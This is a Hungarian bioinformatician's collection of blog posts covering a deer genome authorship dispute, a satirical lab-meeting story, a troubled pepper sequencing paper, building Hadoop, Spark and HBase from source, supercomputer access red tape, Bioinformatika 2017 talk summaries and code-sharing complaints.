Közben egy másik égető probléma is jelentkezett. A szarvasos csoport egyre inkább úgy tekintett a genom projektre, mint aminek nulla a tudományos értéke és inkább csak szentimentális töltete van. Történetesen úgy gondolták, hogy nem is kellene tudományos lapban megjelentetni, hanem a Nimródban, mert ez a vadászokat biztosan jobban érdekli.

Gyarló emberi lényként engem nem érdekeltek a vadászok. Lehet, hogy másképp lövik halomra azokat az állatokat, amelyeknek ismert a genomja, nem tudom. De nekem, mint kutatónak az egyetlen valutám a publikáció. Nimród, Kiskegyed nem tartozik ezek közé. Azon kívül a témán dolgozott nem egy PhD hallgató is, akiknek fokozat szerzése múlhatott volna egy ilyen döntésen. Egyébként nem is értettem, miért nem lehet egy tudományos közlés után megjelentetni róla egy összefoglalót?

Végül elkészültek a pszeudo kromoszómák és én elhagytam az intézetet. Kézzel még további scaffoldokat helyeztek el, ami elég sziszifuszi munka. De ezzel még nem volt vége! A szekvenciákat annotálni is kellett. Ez sem volt olyan egyszerű, mert a legtöbb annotáló program még bakteriális szekvenciákon is napokig fut. Ez pedig egy eukarióta volt. Részleteket nem tudok a folyamatból, de elég nehéz volt.

Közben a többiek a fentihez hasonló megbeszéléseket folytattak, ahol a visszatérő téma a sika szarvas szexuális élete volt. Egészen pontosan a gím és sika szarvas násza. Hiába, a kutatók válaszokat keresnek.

Majd jött a kézirat, ami legnagyobb megkönnyebbülésemre valahogy mégsem Nimródhoz akart bekerülni. Még kész sem volt a kézirat, de már kaptam a leveleket, hogy ne válaszoljak a sajtó kérdéseire, hanem irányítsam őket a ranglétra magasabb fokán állók felé. Gyorsan fel is szerelkeztem karókkal meg fokhagymával a lesből támadó, habzó szájú riporterek ellen. Ezeket komolyan kell venni. Ezek Nimródosok!

Közben szép lassan kibontakozott egy kisebb háború, hogy ki legyen a levelező szerző. A szarvasos csoport feje természetesen úgy érezte, hogy ő, mivel már regóta szarvassal foglalkozott. A szekvenálós csoport főnöke viszont magának akarta ezt a címet, mert nélküle még mindig PCR-el, meg arrayekkel szórakozna a másik fél. Volt ordítozás, nem-beszélés, minden, mint egy igazi szappan operában. Természetesen, ahogy minden sakk játszmában lenni szokott, itt is a gyalogok érezték a legrosszabbul magukat.

Az élet végül visszatért a szokásos medrébe. A riporterek elkerültek, a kutatók tovább dolgoztak, a gím és sika szarvasok pedig további hibridizáltak.

Korrekció:

Kaptam egy levelet, amiben a bejegyzés következő pontatlanságaira hívták fel a figyelmemet:

1. A bioinformatikai csoport vezetője senkivel sem ordítozott, vele ordítottak.
   
2. A bioinformatikai csoport vezetője nem akart egyes egyedül levelező szerző lenni, csupán megosztott levelező szerző.
3. A bejegyzés azt sugallja, hogy az összerakott szarvas genome nem jó, de egy skót, nagy felbontású géntérképpel összehasonlítva a szekvenciák teljesen jók.
4. Bár a poszt csak érintőlegesen említi mások munkáját, a megjelent cikk rosszul tartalmazza az említett csoportvezető hozzájárulását, mert ő rakta össze a genomot, ő találta ki a bioinformatikai pipeline-okat, és a pszeudokromoszómák összerakásának minkéntjét is.

Öreg vagyok én már ehhez - gondolta Tuck az év végi csoportmegbeszélés után. Az egész egy igen furcsa e-maillel kezdődött, amiben főnöke a teljes csoportot elmarasztalta, név szerint említve minden egyes embert. Nem nehéz ilyet csinálni, ha mindenkire több feladatot osztanak. Előbb-utóbb valami lassabban fog menni. Márpedig a csoport minden tagjának több futó projektje is volt.

A levél szerint először egy megbeszélés lesz, majd utána mindenki bemutatja az aktuális futó feladatait és azok állását. Az nem volt tiszta Tuck számára, miért kell két megbeszélés, de mindegy is volt.

A megbeszélés közeledtével érezhetően növekedett a feszültség, de Tuck nyugodt volt, két okból is: Először is, az ő projektjei jól haladtak, még akkor is ha főnöke másképp látta. Volt már annyi tapasztalata, hogy tudja, milyen sebességgel kell mennie a munkájának, másrészt egyetlen korábbi munkahelyén sem volt gond a hatékonyságával. Másrészt átlátott főnökén. Ha mindenkit leszúrnak egy csoportban, akkor ott nem az egyénekkel van a hiba. Ez csak amolyan műbalhé, amit a hollywoodi filmek szigorú kiképző őrmesterei is előadnak. Amikor még zöldfülű volt, ő is bedőlt ezeknek a trükköknek, de negyvenhez közel, már unalmas volt számára,

Nem is vesztegetett túl sok időt a beszámolókra. A fiatalabbak még reménykedtek benne, hogy egy jó előadás talán csökkenti a főnök haragját.

A megbeszélés a szokásos volt. Semmit mondó cikkek unalmas előadásban. Ez részben munkatársai tapasztalatlanságának volt betudható, de Tuck esetében a tehetségtelenségnek. Valahogy mindig is képtelen volt jó kapcsolatot kialakítani a közönséggel, meg úgy általában az emberi faj más egyedeivel. Talán emiatt is fordult a matematika felé. Így sikerült egy olyan szakmát választania, amivel még jobban elhatárolta magát embertársaitól. De ez a távolság tartás segített neki abban, hogy jobban felfigyeljen a társas kapcsolatok szabályszerűségeire. A mintázatokra, ahogy ő maga hívta.

Az utolsó előadás után a hallgatók elbúcsúztak és akik maradtak, feszült csendben várták az ítéletet. Tuck azon mélázott, vajon kirobbanás vagy lassú felvezetés lesz?

- Ma rákerestem a nevemre az Entrez-én - kezdte a csoportvezető. Lassú felvezetés - gondolta Tuck. - Harminchárom cikk társszerzője vagyok ebben az évben. A legtöbbjére nem is emlékszem, azt sem tudom, hogyan kerültem bele. Ezzel szemben a csoport hat publikációt közölt idén. Ha megszüntetném a csoportot, akkor is lenne 26 cikkem.

Tuck szkeptikus volt ezzel kapcsolatban, de hallgatott. Ha a lassú felvezetést mindjárt az elején megakasztja, este tízig is itt fognak ülni.

- A célom, hogy ezt a két számot megcseréljem.

Tuck gyorsan körbenézett. Három PhD hallgató, ugyan ennyi posztdok. Ez fejenként négy cikk és egy beküldött kézirat? Három havonta egy publikáció? De mindegy is, milyen számokat hall. A lehetetlen célok kitűzésével folyamatosan nyomás alatt lehet tartani az embereket.

- Növelni kell a hatékonyságot, ez így nem mehet. Tegnap előtt is felkerestek a Központi Urológiai Képalkotó Intézettől, hogy tudunk-e tumor mintákat adni nekik. Én behazudtam nekik, hogy tudunk. De tényleg tudunk? - itt az egyik posztdokra nézett, akinek xenograft modellek előállítása volt a feladata. Eddig nem járt sikerrel.

- A halakat nehéz fenntartani. A törzseket fenn kell tartani és nincs elég hely az akváriumban.

- Felőlem befőttes üvegekben is úszkálhatnak a halak, de ha nem hazudok be nekik valamit, akkor más partnert keresnek. Megmutatták milyen mikroszkópjuk van: belelát a szövetek közé. Science cikket írtak belőle, de senki nem idézi őket, mert nem értik, mire is lehet használni. Ha be tudjuk bizonyítani, hogy a klinikai gyakorlatban is használható, akkor azt a cikket rengetegen fogják idézni. De ehhez az kell, hogy legyenek halak!

- Mi a helyzet a statisztikai elemzéssel, amit kértem? - fordult most Tuck felé.

- Egy nem-paraméteres összefüggéssel már végigszámoltam, de szerintem lehetne növelni a statisztikai erőt, ha egy másik próbával is megismételném az elemzést.

- Nem, erre nincs idő. Tapasztalatom szerint a partnerek nem várnak hónapokat. Ma este átküldjük, ami van. Ha érdekli őket és válaszolnak, akkor folytatjuk, de ha nem, akkor nem vesztegetünk több időt rá. Az is lehet, hogy mással már rég megcsináltatták.

A főnök ezek után az egyik PhD hallgató felé fordult, ak valami rejtélyes oknál fogva a kutatás mellett rengeteg adminisztrációs munkát is végzett. A csoport ugyanis tagja volt egy ipari partnereket is tömörítő konzorciumnak és mint ilyennek, rengeteg koordinációs feladatot is el kellett látni.

- A szerződés szövege elkészült?

- Angol jogi szöveget kell megfogalmaznom, ez nekem nem megy egy hét alatt.

- Csak nagyjából kell jónak lennie. Küldd tovább a cégnek, csináljanak azok is valamit. Ők majd kijavítják, vannak jogászaik.

- De akkor...

- Nem vesztegethetünk ennyi időt! Ha nem látnak valamit, kilépnek a konzorciumból és nem kapjuk meg a pénzt. Legyen náluk a labda. Ha majd mégis van további kérdésük, úgy is visszaküldik.

A hallgató megsemmisülten elhallgatott.

- Rendben, ha más nincs, akkor mindenki mehet haza. Mi meg elküldjük az eredményeket - mutatott Tuck-ra.

Miután a többiek összecsomagoltak, Tuck és felettese bementek egy irodába. A számítógépen megnyitották Tuck előadását, majd főnöke kijelölte az egészet és bemásolta egy Word dokumentumba. A betűk őrült formákat vettek fel. Az ábrák össze-vissza álltak, ahogy megpróbálták megkeresni helyüket a virtuális oldalakon. Az egész egy nagy tészta masszára emlékeztetett, de a férfi oldal törésekkel, új sor beszúrásokkal regulázni kezdte a bekezdéseket. Az egész folyamat olyan volt, mintha egy félig felfújt gumimatracot próbálna meg dobozba zárni. Valami mindig kilógott.

Végül elég új sor és oldal törés volt benne, hogy a mondatokat egy helyre szögezze. Ekkor kezdődött az igazi munka: a formázás. A szavak a mondatban betöltött fontosságuk szerint félkövérek, pirosak vagy dőltek lettek, esetleg mindegyik egy kicsit.

Azután jött az összefoglalás. A dokumentum különböző oldalain szétszórt eredményeket a mágikus billentyű kombinációval kimásolta, majd egy másik mágikus kombinációval egy helyre beszúrta újra. Ami az eredeti helyén félkövér volt, most piros lett, ami piros volt, dőltté változott, ha meg történetesen dőlt volt, félkövér lett. Ez már elég változatosság volt, hogy ne legyenek a szövegek égbekiáltóan egyformák.

- Kész! - jelentette ki a csoport vezető. Mielőtt Tuck felocsudhatott volna megdöbbenéséből, már hozzá is csatolta egy levélhez és elküldte. Csupán fél óra volt az egész.

Ha ez volt a nehéz szülés, akkor a mostani a farfekvéses ikrek voltak. Ha létezik elátkozott projekt, akkor ez az volt.

Természetesen ez a projekt is úgy indult, hogy "nagyon gyorsan kell az eredmény, mert a kínaiak megelőznek minket". Ha jól emlékszem, 2014 tavaszán kerestek meg minket. Kis RNS-t és transzkriptómot szekvenáltak paprikából és elég jól indult a projekt. A benthamianas munkából okulva igyekeztem a minimálisra szorítani a felesleges munkát és elkerülni az ottani baklövéseket. Ebben, a munka oroszlán részét végző PhD hallgató is nagy segítségemre volt és még azt a hálátlan feladatot is zokszó nélkül megtette, hogy pufferként működött a bioinformatikusok és a laborosok között. Kevesebb értelmetlen kérés jött és tőlem is csak azokat az eredményeket továbbította, ami 100%-os volt. Bármi bizonytalanság volt, inkább kérte, hogy nézzem át alaposabban. Nagyon jó volt vele dolgozni.

Mint minden jó dolognak, ennek is vége szakadt. Őt is utólérte a pénztelenség, ezért elment egy céghez, ahol annyira meg voltak elégedve vele, hogy próbaidő után még fizetés emelést is kapott.

Az utolsó pár hónapban nagyon keményen dolgozott, hogy minden kísérletes munkát befejezzen és elmondása alapján be is fejezett. A bioinformatikai elemzés is kész volt, megvolt a validálás is, most következett az írás. Illetve nem-írás.

Egyfajta ping-pong játék kezdődött, ahol egy halandó kéziratokat gyártott és elküldte azokat az Olümposzra, majd az Istenek félresöpörték azt. Egy ideig tartottam a kapcsolatot a PhD hallgatóval, de mikor az olyan kérdésekre, mint "hogy vagy?", a válasz a projekt alakulása volt, inkább leálltam.

Amit hallottam, az nem volt megnyugtató. Kitalálták, hogy újabb kísérletek kellenek. Egy másik PhD hallgató folytathatta a munkát. Aztán én is elhagytam az intézetet, ezért a bioinformatikai munkára is új embert kerestek, akiről olyan pletykák keringtek, hogy még a mirDeep-P-t sem tudta lefuttatni.

Én le is mondtam róla, hogy valaha cikket látok a munkából. Vagy ha lesz is valami, engem biztos kihagynak belőle. Ezért is ért váratlanul, mikor 2017 áprilisának végén kaptam egy kéziratot áttekintésre és ott virítottam a szerzők között.

Az első célpont a Journal of Experimantal Botany volt. Négy napot töltött ott a kézirat, majd visszadobták. A következő cél a Frontiers in Plant Science volt. Itt is hasonló idő elteltével dobták vissza. A kritika elég kemény volt: A cikkben nincs hipotézis és a szekvenciákat nem töltötték fel az SRA-ba. Ez utóbbi az én hibám is, nem tűnt fel a kézirat elolvasásakor.

A komment csak annyi volt: "elvaultunk". Teljes beletörődés saját tehetetlenségünkbe. El is küldték a BMC Genomics-ba. (jun 1), ahol már több, mint négy napot töltött! Három rewiever is átnézte és az egyik közös pont, amiben mindenki egyetértett, hogy két ismétlés nem elég differenciál expresszióhoz.

Őszintén szólva nem emlékszem, hogy annak idején szóltam-e emiatt. Nagy valószínűséggel nem, így a hiba halomból ez az én részem. Csak egy szánalmas kifogás jut eszembe: úgysem hallgattak volna rám.

Viszont ez egy jó lecke volt nekem arra nézve, hogy publikáció orientáltan kell gondolkodni. A kísérlet tervezésénél, ha kompromisszumot kell kötni, az nem mehet a publikálhatóság rovására.

Ezen most már hiába kesergünk. Mai eszemmel átnézve a kísérlet felépítése egy vicc. (Két genotípust szekvenáltak. Az egyiknél három szövetet, a másiknál csak egyet. Az egyiknél 28 és 40 napos minták voltak, a másiknál 14 és 20 naposak.)

Természetesen a levelezésből ismét sütött a lemondás. Nem is tudom, mi irritált a legjobban. A tény, hogy energiát vesztegettem egy mostani eszemmel nyilvánvalóan hibás kísérletbe vagy az, hogy mások milyen könnyedén elfogadják ezt.

Elkezdtem agyalni, hogyan lehet menteni a projektet. Ami nyilvánvaló volt, nem lesz új kísérlet, nem lesz új szekvenálás, csak a hozott anyagból lehet építkezni. Ha a mintákat szövet szerint csoportosítjuk, kapnánk négy ismétlést. Nem tudom, mekkora szórás lenne a különböző időpontok miatt, de egy próbát megért volna.

A felvetésemre senki nem reagált, amikor írtam a szerzőknek, csak annyi választ kaptam, hogy "nagyon dolgoznak rajta". De az eltelt idő alapján egyre valószínűbb, hogy a projekt teljesen halott.

Update:

Mikor már teljesen lemondtam mindenről, már nem volt agyi aktivitás, légzés:

Megjelent.

Úgy döntöttem, az otthoni rendszeremet felvértezem Hadooppal. Nem teljesen légből kapott az ötlet, meg akarom ismerni a Sparkot, amihez nem árt, ha Hadoop is van. De akkor már telepítem a Hive-ot is. Meg a HBase se maradjon ki. Mivel az életem egy viszonylag nyugodt periódusban van, úgy határoztam, mindent forráskódból rakok fel.

Ha Java alapú rendszereket fordítunk, a Maven elengedhetetlen. Telepítsük ezt is forráskódból! Ez nem olyan egyszerű, mert a Maven fordításához is Maven kell. Ha el akarjuk kerülni az önmagába harapó kígyó esetét, kompromisszumos megoldásként le kell tölteni egy bináris Mavent is. A folyamatot bootstrappingnek hívják és a GCC fordítása során már írtam róla.

A második lépés a Hadoop fordítása volt. Ez már nem ment olyan egyszerűen. Telepíteni kellett a ProtocolBuffert, szigorúan a 2.5.0-t. Ez viszont régi, a telepítő nem tudta letölteni a szükséges állományokat, mert a curl parancs egy elavult verzióját használta. Ezért átírtam a kódot wget-re. Utána már fordíthattam is a Hadoopto:

mvn package -Pdist -Pdoc -Psrc -Dtar -DskipTests

A Hive teljesen fájdalom mentesen fordult:

mvn clean package -DskipTests

A Spark már okozott némi gubancot. A fordításhoz nem raktam fel a szükséges R csomagokat, ezért többször újra kellett indítani a folyamatot. A forráskódhoz mellékelt szkript viszont remekül végezte a dolgát. Mindent fordítottam, ezért szép hosszú parancssort gépelhettem:

./dev/make-distribution.sh --name custom-spark --pip --r --tgz -Psparkr -Phadoop-2.7 -Phive -Phive-thriftserver -Pmesos -Pyarn

A HBase okozta a legnagyobb fejfájást. A standard fordítási lépések rendre kudarcba fulladtak, ráadásul a keresőbe beírva nem azok a találatok jöttek fel, amelyek segítettek a megoldásban. Végül a hibaüzenetet idézőjelekbe rakva megvolt a megoldás! A Manve 3.5.2 nem képes lefordítani a HBase-t. A fejlesztők viszont azt találták, hogy a régi Maven zokszó nélkül teszi a dolgát.

A régi Mavent csak binárisan töltöttem le, mert nem szándékoztam megtartani. Azt használva ez a komponens is fordult.

A blogbejegyzés olvasása közben ezt a zenét javaslom:

Az egész úgy kezdődött, hogy kértem hozzáférést a magyar szuperszámítógépekhez. Először is, ki kellett tölteni egy webes űrlapot, ami elküld egy PDF-et, amit ki kell nyomtatni, tintával aláírni és elpostázni vagy elfaxolni a NIIF-hez. Már van ebben némi rutinom, nem számítottam rá, hogy bármi bonyodalom lesz.

Először is, az egész intézetben egy darab faxgép/fénymásoló/nyomtató volt, az sem működött. Nem kapott vonalat. Egy titkárnő próbált segíteni nekem, nem sok sikerrel. Már ki akarta rá tenni a táblát, hogy rossz, amikor rövid nézelődés után észrevettem, hogy nincs bedugva a telefon kábel. Biztos ti is láttátok a reklámot: ha ennél olcsóbban adnánk, neked kéne összerakni.

Az emailben, amiben megkaptam a PDF-et, a megadott szám nem válaszolt. Még egyszer elküldtem. Beírtam a 06-t elé, kihagytam a 06-t. Semmi reakció. Persze minden egyes próbálkozás 10 perces szünetekkel ment, mert az a nyomorult gép tárcsáz, újratárcsáz, közben érkezik negyven papír, amit a gazdasági hivatal nyomtat. Végül kiköpi a szerencsétlen a jelentést, amiben közli, hogy nem sikerült.

Aztán észrevettem, hogy a PDF-ben szereplő telefonszám és az emailben megadott szám eltér. Nosza, próbáljuk ki azt is! Természetesen 06-al, anélkül, stb. Erre elment!

Egy hét múlva sem érkezett válasz. Még annyi sem, hogy megkaptuk a tetves papírjaimat. Akkor írtam egy e-mailt. Két-három nap múlva válaszoltak is, hogy megkapták az faxot és ők úgy tudják, mindkét fax szám működik. Hahaha, rosszul tudjátok.

Megint eltelt egy hét és jelezték, hogy a témaszámot elfogadták. Nagyszerű, most jön a projekt igénylés! Ezt már elméletileg a HPC portálon lehet intézni, de a valóságban nem működik. A témaszám elfogadásáról kapott email még tartalmazott egy régi linket, amit évekkel ezelőtt használtunk a hozzáférés igényléshez. Azt is kitöltöttem, kinyomtattam, faxoltam. Mivel a faxszám megegyezett azzal, ami korábban nem működött, elküldtem oda is, a másikra is, ami működött, 06-al, anélkül.

Egy hét után ismét írtam. Leírtam, hogy nem megy a portál, elküldtem a faxokat, most mi van?

A hozzáférés igénylésnél kérték, hogy becsüljem meg, mennyi erőforrást akarok használni. A Sangerben használt erőforrás igényt jelöltem meg (10T tárhely, 80GB RAM, kb. egy hét futás idő 4 processzoron). Mint később végiggondoltam, kicsit alábecsültem a szükségleteimet. De még ez is kiverte a biztosítékot náluk. Az email után kb. egy órával már kaptam egy levelet, amiben az után érdeklődtek, miért kell nekem ennyi tárhely? A processzor idő nem sok, de ezzel a rengeteg memóriával együtt nagyon szokatlan.

Szépen leírtam nekik, hogy mi, bioinformatikusok perverz vonzalmat érzünk a tömörítetlen szöveges állományok iránt, ezért kell ez a sok hely. Az R meg memóriából él. Ismét eltelt egy hét. Újabb emailt küldtem. Azt írták, tényleg nem megy a portál, kijavítják és majd válaszolnak.

Mivel nem akartam, hogy túl rámenősnek tartsanak, vártam. Eltelt egy hónap, ismét megkérdeztem, mi a helyzet. Két emailt is kaptam, olyan sebtében összedobva, hogy először azt hittem, gugli fordítóval készítette egy nigériai diktátor, hogy kimentse vagyonát az én bankszámlám segítségével. Ekkor elkezdtek dolgozni. Másnap már láttam a projektemet a portálon.

Csak bejelentkezni nem tudtam.

Újabb emailt írtam a problémáról. Bár korábban leírtam, milyen felhasználó nevet akarok, de ezt figyelmen kívül hagyták és generáltak nekem egyet. Ez a felhasználó nevem: oqqn0bf. Ha lenne benne nagy betű, még jelszó is lehetne. De ezen már nem bosszankodtam.

Jött ugyanis az újabb probléma. Nem kaptam processzor időt. Eredetileg a Debreceni gépre kértem hozzáférést, így itt akartam kipróbálni, mit tudok, de az I/O olyan lassú volt, mint egy szalagos egységnél. Kipróbáltam a Debrecen2-t, ami normális sebességgel működött. Ezért oda kértem a processzor időt.

A következő héten ismét kaptam egy levelet, hogy miért akarom én a Debrecen2-t használni, amikor az GPU-s programokra van, írjam le, milyen GPU-s programot akarok használni. Visszaírtam, hogy akkor adjanak a Debrecen1-re. Persze nem adtak. Akkor igényeltem arra a gépre is a portálon keresztül, és végre megkaptam.

Mintha nem is emberekkel kommunikálnék, hanem egy Johnny taxival. Persze futtatni továbbra sem tudok semmit, mert a lassú I/O okát nyomozzák és minden futó folyamatot felfüggesztettek.

A Bioinformatika 2017 konferencia nem csak a Magyar Bioinformatikai Társaság konferenciája, hanem az Elixir első rendezvénye is volt. A csoportvezetők mellett a PhD hallgatók is előadhatták kutatási eredményeiket. A rendezvényről video felvétel is készült, ha lesz link, itt fogom közzétenni én is. (Szerk: A videók itt találhatóak.)

Csabai István: Kollaboratív keretrendszer genomikai adatelemzéshez
A genomika felfutóban van, egy projekten belül több, különböző háttérrel rendelkező ember dolgozik, gyakran nagy földrajzi távolságban. A megoldás egy felhő alapú rendszer, aminek a Jupyter notebook az alapja, GitLab a verzió követő rendszere, míg a számítás virtuális gépeken megy. Van jogosultság rendszere és kommunikációs felülete. A szolgáltatás itt található.

Barta Endre: Transzkripciós faktorok és kofaktorok topológiájának vizsgálata a DNS-en ChIP-seq adatok elemzésével
A munka során a szabadon elérhető Chip-seq adatokat elemezték újra. A peak legmagasabb pontját meghatározták és ezt tekintették kötőhelynek. A CTCF pozícióhoz képes a többi kötőhely pozíciója nem véletlen szerű, ezért a kötőhelyek egymáshoz viszonyított helyzetére lehet következtetni. Az elcsúszás mértékéből még azt is meg lehet állapítani, hogy a motivum közvetlenül vagy közvetve kötődik-e a DNS-hez.

Antal Péter: Bayesi rendszerszintű vizsgálatok a közös genetikai háttér felderítésére komplex fenotípusok, betegségcsoportok és betegségek összessége esetén
A genetikai asszociációk a kezdeti SNP/fenotípus kapcsolatból tovább fejlődtek. A túlzott többszörös teszt korrekciót a Bayes módszerrel igyekeznek orvosolni, ahol imputációval a már létező háttértudást igyekeznek bevonni a számításokba. Az így keletkező hálózatok rendkívül bonyolultak, mert a gráfok részletesebb leírást adnak, de a feldolgozásuk is időigényesebb.

Fuxreiter Mónika: A szerkezeti elmosódottság szerepe a fehérjék szerveződésében
Az előadáson nem voltam.

Mészáros Bálint: Rendezetlen fehérjék és fehérje régiók szerepe a rákban
Az előadáson nem voltam.

Pongor Sándor: Molekuláris jelzések és a mikrobiális közösségek stabilitása
A mikrobiális élőlények még mindig a legynagyobb metabolizáló állomány a Földön. A megfigyelések alapján tudjuk, hogy a sejtek "tudják", hogy elég a számuk egy erőforrás feldolgozásához, ami azt jelenti, hogy kommunikálnak és kollaborálnak. A kommunikációs géneket matematikailag modellezték, majd megpróbálták a azok evolúcióját is feltárni. Ha a kommunikációs gének mutálódnak, kevert populációk jönnek létre, melyek túlélése kihathat a teljes állományra. Szerencsés esetben az egyik szubpopuláció felül tud kerekedni és túlél. Rossz esetben a hátrányos szubpopuláció gátolja a többi terjeszkedését is.

Gáspári Zoltán: Térszerkezeti sokaságok szerepe a fehérjék szerkezet-hatás összefüggéseinek megértésében
A fehérje szerkezetek meghatározásának egyik legjobb módja, ha kísérletes eredményeket kombinálnak molekuladinamikai számításokkal. Egy prediktált szerkezet validálása bonyolult folyamat, fennáll a túlillesztés veszélye. A csoport készített egy webszervert, melynek célja, hogy elvégezze ezt a validálást.

Szöllősi Gergely János: Horizontális géntranszfer események mint molekuláris fosszíliák
A molekuláris szekvenciák közti különbségek az idővel arányosan nőnek, ezért molekuláris órákként lehet őket használni. Ezek az órák nem globálisak, hanem élőlény csoportonként eltérhetnek. Jelenleg a fosszíliákat tekintik az egyetlen valós bizonyítékoknak, de azok sem képesek minden kérdéses eseményt megmagyarázni. A horizontális géntranszferből eredő bizonyítékok viszont kiegészítheti a fosszíliákat és precízebb génfákat eredményezhetnek. Az elmélet implementációja itt található.

Bálint Mónika: Hogyan csomagoljunk be egy célpontot?
Fehérje molekulák célba juttatásánál fontos azok becsomagolása, hogy a kötőhelyeket megvédjék. Jelenleg két módszer létezik: az AutoDock és az úgynevezett blind docking. A csoport egy harmadik módszert dolgozott ki, amit wrap'n'shake-nek neveztek el. Habár még nincs validálva, a szintetikus teszteken jól teljesít.

Fichó Erzsébet: Rendezett rendezetlenség
A rendezetlen fehérjék kapcsolódhatnak más rendezett vagy rendezetlen fehérjékhez. A PDB, GO és PubMed információkat felhasználva két webszolgáltatást hoztak létre, melyek célja a kölcsönhatás függvényében a rendezetlen fehérjék és azok partnereinek összegyűjtése. A DIBS esetén a rendezetlen fehérjék globuláris partnerekhez kötődnek, míg az MFIB a rendezetlen-rendezetlen kapcsolatokra specializálódott. A két adatbázis a rendezetlen fehérjék teljes spektrumát lefedik.

Dobson László: Rendezetlen fehérjék komplexeinek vizsgálata szekvenciális, szerkezeti és funkcionális szempontból
A rendezett és rendezetlen fehérjék között rengeteg átmenet fordulhat elő. Például egy rendezetlen fehérje is lehet stabil, ha bizonyos partnerekhez kötődik. Kérdés, hogy a rendezetlen-rendezetlen komplexek tagjai lehetnek-e targetek?

Kerepesi Csaba: Öregedést befolyásoló fehérjék predikciója gépi tanulással
A GeneAge az öregedéssel összefüggésbe hozható gének adatbázisa. A kutatási téma célja, hogy gépi tanulás segítségével lehet-e közös jellemzőket találni a gének között, illetve a trenírozott modellel lehet-e új géneket találni? Az XGBoost csomagot használva döntési fát hoztak létre, amelyek jellemzői GO termek voltak.

Medgyes Horváth Anna: Humán mitokondrium haplotípus meghatározás és filogenetikai analízis szennyvíz mintákból
A projekt úgy indult, hogy járványok metagenomikai vizsgálatát végzik szennyvízből, de időközben humán mitokondrium haplotípus azonosítás lett belőle. Az eredmények sem okoztak túl nagy meglepetést: Afrikában az afrikai haplotípus volt döntő többségben, míg ázsiában az ázsiai. Amerika sajnos kevert mintát mutatott.

Nagy Gergely: Makrofág transzkripciós faktor kaszkádok vizsgálata ATAC-seq-kel
Egér modelleken ATAC-seq-kel vizsgálták a makrofágok transzkripciós szabályozását. Több szekvenálással a folyamatot időben nyomon követték és megpróbálták a jelátviteli útvonalat feltérképezni.

Pongor Lőrinc: Mintavételezés hatásának vizsgálata ovárium tumoros betegekben újgenerációs szekvenálással
A tumor egy evolúciós folyamat, tehát szekvenálásnál egy kevert populációs kapunk. Kérdés, hogy a tumor mérete hogyan befolyásolja a szekvenálást? Sequenza segítségével határozták meg a cellularitást, Mutect 2-vel a variációkat. Az eredmények azt mutatják, hogy a méret nem befolyásolta a mutációk számát, mert a nagy mintában a kis klónok kihígulnak.

Pipek Orsolya: Egyedi mutációk gyors és megbízható detektálása izogenikus mintákban
Az előadásban megismerhettük az IsoMut programot, mely hasonló mintákból olyan mutációkat keres, melyek csak kevés mintára jellemzőek. A program már több publikáció alapját is képezte.

Végezetül egy kis anekdota: A molekuláris fosszíliák előadás után az egyik kérdező feltétlenül szükségesnek érezte bejelenteni, hogy meghatározták a bibliai Éva genomját. Az előadó egy pillanatra megfagyott egy kényszeredett mosolyban, majd azzal vágta ki magát, hogy a mitokondriális DNS vizsgálatával tényleg meg lehet állapítani egy ősi mitokondriális szekvenciát, amit hívhatunk Évának, de a kérdező tántoríthatatlanul állította, hogy Évát bizony megszekvenálták. Több komment nem volt.

Ugyan ez a kérdező a haplotípusos előadás után megkérdezte, hogy a dia, ami az emberi faj feltételezett elterjedését ábrázolta, a Pangea állapotot tükrözi-e. Az előadó nem tudta, mit válaszoljon, végül azt mondta: igen. Sajnos a mentés későn érkezett. Az egyik kutató megjegyezte, hogy a Pangea idején még nem volt ember.

Már megint rosszalkodtatok, gyerekek? Nem megmondtam, hogy rendesen publikáljatok! Mondtam nektek, hogy tegyétek fel a kódot GitHubra. Milyen kódot? Hát amiről a drágalátos cikketek szól!

Nem, gyerekek, nem azt kértem, hogy tegyetek egy GitHub linket a cikkbe, mert az olyan nagyfiús. A GitHub nem arra való, hogy SVG képeket rakjatok ki, hanem a forráskódot. Tudjátok, megismételhetőség és a többi dolog, amit már kiscsoportban is gyakoroltunk. Így a többi gyerek nem tud játszani a programotokkal.

Van letöltési link? Hol, drágaságaim? A wiki oldalon? Had nézzem csak! Jaj, gyerekek, még mindig nem tudom letölteni, mert itt egy link van az intézet weboldalára, ahol még egy újabb email írása után kapjuk meg a programot. Ez nagyon nincs rendben!

De ha már itt vagyunk a wikin, akkor írjátok le rendesen: Tuxedo pipeline és mellőzzétek a kiscsoportosokra jellemző "a többi eszközt nehéz nem emberi fajokra beállítani", mert tiéteket jelenleg nem lehet letölteni sem. Ha már itt tartunk, azt sem tudjuk meg a wikiből, hogyan kell beállítani a ti programocskátokat. Annyira azért nem lehet egyszerű, hogy le sem kell írni.

Nem akarom hallani a kifogásokat! Ha a csoportvezetőd azt mondja, ugorj a kútba, akkor beleugrasz? A GitHub-on is láthatod a letöltéseket, nem kell eltéríteni a felhasználót.

Még mindig van problémátok? Tényleg? Amíg ezeket a hibákat ki nem javítjátok, nem kezellek benneteket felnőttnek.

Egy pár rendszergazda itt is nagy kedvencem lesz, látom. Új ismerősöm, a Hegylakó. Szeretném, ha csak egy maradna belőle.

Egyik nap megkérdezték tőlem, tudok-e csinálni FTP szervert, mert milyen remek is lenne, ha arra küldenék el az adatokat a partnerek. Elmondtam, hogy maga a szerver felállítása nem probléma, de ha azt akarjuk, hogy az intézeten kívülről is elérhető legyen, beszélni kell a rendszergazdákkal is.

Mindjárt meg is kaptam a lehetőséget, hogy a kapcsolati tőkémet gyarapíthassam. Kétszer nem sikerült elérni őket az irodájukban, de ebéd után rájuk találtam. Elő is adtam kérésemet. Egy magas, hosszú hajú rendszergazda vette a fáradságot, hogy meghallgassa. A két szemtengelye nem volt párhuzamos, ezért egy ideig gondot okozott, hova is nézzek, mert az volt az érzésem, hogy a bal szemével mustrál valakit a hátam mögött, miközben a jobb egyenesen rám meredt.

- Persze, meg tudjuk oldani, kell szólni a főnökünknek. Ő most nincs itt, nem is lesz ezen a héten, de az e-mailt figyelemmel kíséri. Most én hiába mondok bármit is, ha ő azt mondja, hogy máshogy csináljuk. A gépteremhez is neki van csak kulcsa. Mennyi adatról lenne szó?

- Tíz és húsz gigabájt köztt.

- Nem lenne jobb egy webes feltöltés? - szólt közbe egy másik rendszergazda.

- Nem. A HTTP protokollnak van egy csomó gyengesége. Nagy adatokhoz nem a legjobb - válaszoltam. Közben végigfutott az agyamon a számtalan kerülő megoldás, amivel mindenki igyekszik elérni, hogy ne kelljen óriási fájlokat weben feltölteni.

